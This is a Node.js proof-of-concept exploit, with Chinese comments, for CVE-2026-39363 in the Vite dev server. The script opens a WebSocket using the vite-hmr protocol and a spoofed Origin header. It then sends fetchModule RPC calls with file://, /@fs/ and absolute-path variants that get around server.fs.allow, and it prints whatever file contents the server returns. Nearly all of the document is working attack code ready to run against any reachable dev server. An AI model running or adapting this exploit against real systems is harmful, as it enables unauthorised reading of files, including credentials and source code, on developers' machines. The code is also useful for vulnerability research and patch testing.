/**
 * CVE-2026-39363 POC
 * Vite Dev Server WebSocket Arbitrary File Read Vulnerability
 *
 * 漏洞原理:
 * Vite 的 WebSocket fetchModule RPC 调用绕过了 server.fs.allow 安全检查
 * 当不传入 importer 参数时, file:// URL 或绝对路径请求会绕过文件系统访问控制
 *
 * 核心漏洞代码 (dep-B0fRCRkQ.js:52065-52072):
 * if (isFileUrl || !importer) {
 *   const resolved = await environment.pluginContainer.resolveId(url);
 *   // 直接 resolveId, 绕过 isFileServingAllowed 检查
 * }
 */

import { WebSocket } from 'ws';

const TARGET_HOST = process.argv[2] || 'localhost';
const TARGET_PORT = process.argv[3] || '5173';
const TARGET_FILE = process.argv[4] || 'C:/Windows/win.ini';
const WS_TOKEN = process.argv[5] || 'test_token';

// 处理 IPv6 地址（需要用方括号包裹）
const host = TARGET_HOST.includes(':') ? `[${TARGET_HOST}]` : TARGET_HOST;
const wsUrl = `ws://${host}:${TARGET_PORT}?token=${WS_TOKEN}`;

console.log('='.repeat(60));
console.log('CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read');
console.log('='.repeat(60));
console.log(`Target: ${wsUrl}`);
console.log(`File to read: ${TARGET_FILE}`);
console.log(`Token: ${WS_TOKEN}`);
console.log('');

// Vite 使用 "vite-hmr" 作为 WebSocket 协议
// 添加 Origin header 以绕过服务器的 CORS 检查
const ws = new WebSocket(wsUrl, 'vite-hmr', {
  headers: {
    'Origin': `http://${TARGET_HOST}:${TARGET_PORT}`,
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
  }
});

let invokeId = 0;
let fileFound = false;

function sendInvoke(name, args) {
  const id = `invoke_${invokeId++}`;
  const payload = {
    type: 'custom',
    event: 'vite:invoke',
    data: {
      id: id,
      name: name,
      data: args
    }
  };
  console.log(`[*] Sending RPC: ${name}(${JSON.stringify(args)})`);
  ws.send(JSON.stringify(payload));
  return id;
}

ws.on('open', () => {
  console.log('[*] WebSocket connected successfully');
  console.log('[*] Waiting for server acknowledgment...');
  console.log('');

  // 等待 connected 消息后发送请求
  setTimeout(() => {
    // 尝试多种路径格式 - 利用 fetchModule 对 file:// URL 的处理漏洞
    const testPaths = [];

    // 1. 直接使用 file:// 协议 (绕过 server.fs.allow)
    testPaths.push(`file://${TARGET_FILE}`);

    // 2. file:// 协议 + 正斜杠路径
    const normalizedPath = TARGET_FILE.replace(/\\/g, '/');
    testPaths.push(`file://${normalizedPath}`);

    // 3. Windows 路径直接使用 (Vite 内部会处理)
    testPaths.push(TARGET_FILE);

    // 4. @fs 前缀 (用于访问项目根目录外的文件)
    testPaths.push(`/@fs/${normalizedPath}`);

    // 5. 尝试使用绝对路径 (无 importer 时直接 resolveId)
    testPaths.push(normalizedPath);

    // 6. 添加盘符前缀 (Windows)
    if (normalizedPath.match(/^[A-Z]:/i)) {
      testPaths.push(`/${normalizedPath}`);
    }

    console.log(`[*] Testing ${testPaths.length} path variations...`);
    console.log('');

    let delay = 500;
    testPaths.forEach((path, i) => {
      setTimeout(() => {
        sendInvoke('fetchModule', [path]);
      }, delay + i * 400);
    });

    // 10秒后关闭连接
    setTimeout(() => {
      if (!fileFound) {
        console.log('\n[-] No file content retrieved after all attempts');
      }
      console.log('\n[*] Closing connection...');
      ws.close();
    }, 10000);

  }, 500);
});

ws.on('message', (data) => {
  try {
    const parsed = JSON.parse(data.toString());

    // 打印所有响应以便调试
    console.log(`[<] Response: ${JSON.stringify(parsed).slice(0, 500)}`);

    // 处理 connected 消息
    if (parsed.type === 'connected') {
      console.log('[+] Server confirmed WebSocket connection');
      console.log('[+] Connection established, ready to exploit');
      return;
    }

    // 处理 ping 消息 - 发送 pong 响应
    if (parsed.type === 'ping') {
      ws.send(JSON.stringify({ type: 'pong' }));
      return;
    }

    // 处理 vite:invoke 响应
    if (parsed.type === 'custom' && parsed.event === 'vite:invoke') {
      // 响应结构: { type, event, data: { name, id, data: { result/error } } }
      const outerData = parsed.data;
      const innerData = outerData?.data || {};
      const resultData = innerData;

      if (resultData.error) {
        const errorMsg = resultData.error.message || JSON.stringify(resultData.error);
        console.log(`[-] Error: ${errorMsg}`);
        return;
      }

      if (resultData.result) {
        const result = resultData.result;

        // 检查是否成功获取文件内容
        if (result.code) {
          fileFound = true;
          console.log('\n' + '='.repeat(60));
          console.log('[+] SUCCESS! Arbitrary file read achieved!');
          console.log('='.repeat(60));
          console.log(`File path: ${result.file || result.url || result.id}`);
          console.log('-'.repeat(60));
          console.log('[+] File content:');
          console.log('-'.repeat(60));
          console.log(result.code);
          console.log('='.repeat(60));
          console.log('\n[!] This demonstrates CVE-2026-39363 vulnerability');
          console.log('[!] WebSocket fetchModule bypassed server.fs.allow checks');
          console.log('');

          // 成功后立即关闭
          setTimeout(() => ws.close(), 1000);
        }

        if (result.externalize) {
          console.log(`[*] Externalized: ${result.externalize}`);
        }

        if (result.cache) {
          console.log(`[*] Cache hit for module`);
        }

        // 打印完整 result 结构
        if (!result.code) {
          console.log(`[*] Result keys: ${Object.keys(result).join(', ')}`);
        }
      }
    }

  } catch (e) {
    // 非 JSON 消息,直接打印
    const raw = data.toString();
    console.log(`[<] Raw message: ${raw}`);
  }
});

ws.on('error', (error) => {
  console.log(`[-] WebSocket error: ${error.message}`);
  if (error.message.includes('ECONNREFUSED')) {
    console.log('[!] Target server is not running or port is incorrect');
  }
  if (error.message.includes('protocol')) {
    console.log('[!] Server rejected vite-hmr protocol');
  }
});

ws.on('close', (code, reason) => {
  console.log(`\n[*] WebSocket closed (code: ${code})`);
  if (code === 1006) {
    console.log('[!] Connection closed abnormally - possible token mismatch');
  }
  process.exit(fileFound ? 0 : 1);
});